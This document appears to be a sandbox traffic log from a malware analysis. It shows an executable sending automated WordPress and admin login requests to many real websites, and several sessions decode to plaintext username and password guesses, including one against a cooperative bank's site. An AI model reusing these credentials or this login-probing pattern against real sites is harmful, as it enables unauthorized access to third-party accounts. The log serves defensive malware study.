2023-11-26 06:00:01 UTC	395	OUT	POST /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/wp/wp-login.php Content-Length: 144 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:01 UTC	144	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 68 6f 6c 61 61 61 61 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 25 32 46 77 70 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=holaaaa&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fwww.ceuandalucia.es%2Fwp%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:02 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:01 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:02 UTC	7437	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.4	56712	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:01 UTC	244	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fhimontessori.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:02 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 06:00:02 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 06:00:02 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.4	56501	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:01 UTC	336	OUT	POST /wp-login.php HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gccb.co.in/wp-login.php Content-Length: 138 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:01 UTC	138	OUT	Data Raw: 6c 6f 67 3d 69 6e 66 6f 25 34 30 67 63 63 62 2e 63 6f 2e 69 6e 26 70 77 64 3d 69 6e 66 6f 67 63 63 62 63 6f 69 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 63 63 62 2e 63 6f 2e 69 6e 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=info%40gccb.co.in&pwd=infogccbcoin&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fgccb.co.in%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:03 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:02 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 06:00:03 UTC	6589	IN	Data Raw: 31 39 62 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 19b5<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 06:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.4	56746	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:01 UTC	331	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Ftradeavenida.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=hY8Vy7VtT12kDq0RfaLK5NeJRfcW.qBPudtlDQAWA4k-1700978399347-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:02 UTC	227	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 62 66 65 38 61 34 62 63 33 30 35 38 63 30 2d 49 41 44 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 06:00:02 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: MISSServer: cloudflareCF-RAY: 82bfe8a4bc3058c0-IAD
2023-11-26 06:00:02 UTC	89	IN	Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
2023-11-26 06:00:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.4	56643	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:01 UTC	252	OUT	GET /saml/index.php?page=%2Fwp-login.php HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0pfpv6fic6tscei8l2krgncvto User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:02 UTC	1088	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 06:00:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheCache-Control: no-cache, must-revalida
2023-11-26 06:00:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.4	56784	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	249	OUT	GET /wp-admin/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip Cookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:02 UTC	98	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 2f 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 Foundcontent-length: 0location: /cache-control: no-cacheconnection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.4	56801	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	219	OUT	GET /admin/ HTTP/1.1 Host: www.beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: OF=t7tpj990pro70mtqoib6d9bpg5 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:02 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 34 66 33 36 61 63 36 34 64 63 37 33 63 32 36 61 64 66 61 62 39 64 61 64 30 31 37 38 38 62 33 38 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 36 3a 30 30 3a 30 32 20 47 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 06:00:02 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedset-cookie: k8spersistent=4f36ac64dc73c26adfab9dad01788b38\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 06:00:02 G
2023-11-26 06:00:02 UTC	9214	IN	Data Raw: 32 33 46 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 Data Ascii: 23F6<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type"
2023-11-26 06:00:03 UTC	16384	IN	Data Raw: 34 34 41 44 0d 0a 63 61 74 2f 61 6c 6c 22 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 3c 53 54 52 49 4b 45 3e 42 65 6b 69 6a 6b 20 61 6c 6c 65 20 76 61 63 61 74 75 72 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 74 65 6d 43 6f 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 46 6f 74 6f 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 22 20 61 6c 74 3d 22 22 20 74 69 74 6c 65 3d 22 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 38 35 30 22 20 73 Data Ascii: 44ADcat/all" target="_self"><STRIKE>Bekijk alle vacatures</STRIKE></A></P></div></div></div>...LINKS--></div><div class="tItemCon"><div class="tFoto"><img style="" alt="" title="" width="1920" height="850" s
2023-11-26 06:00:03 UTC	1205	IN	Data Raw: 30 35 30 32 38 38 22 20 74 61 72 67 65 74 3d 5f 62 6c 61 6e 6b 3e 30 32 33 2d 32 30 35 30 32 38 38 3c 2f 41 3e 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 66 6f 6f 74 65 72 3e 0a 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 73 36 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 77 22 3e 0a 20 20 20 20 20 20 20 20 3c 62 3e 43 6f 70 79 72 69 67 68 74 20 26 63 6f 70 79 3b 20 32 30 32 33 3c 2f 62 3e 20 42 45 41 43 48 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 0a Data Ascii: 050288" target=_blank>023-2050288</A></div><div class="cleaner"></div>...LINKS--></div></div></li> </ul> </div></footer><section id="s6"> <div class="sw"> <b>Copyright © 2023</b> BEACH Recruitment B.V.
2023-11-26 06:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.4	56802	18.229.0.171	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	210	OUT	GET /wp-admin/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 06:00:02 UTC	204	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 77 70 2d 61 64 6d 69 6e 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:02 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/wp-admin/
2023-11-26 06:00:02 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.4	56815	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	172	OUT	GET /admin HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:02 UTC	301	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 06:00:02 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 06:00:02 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" 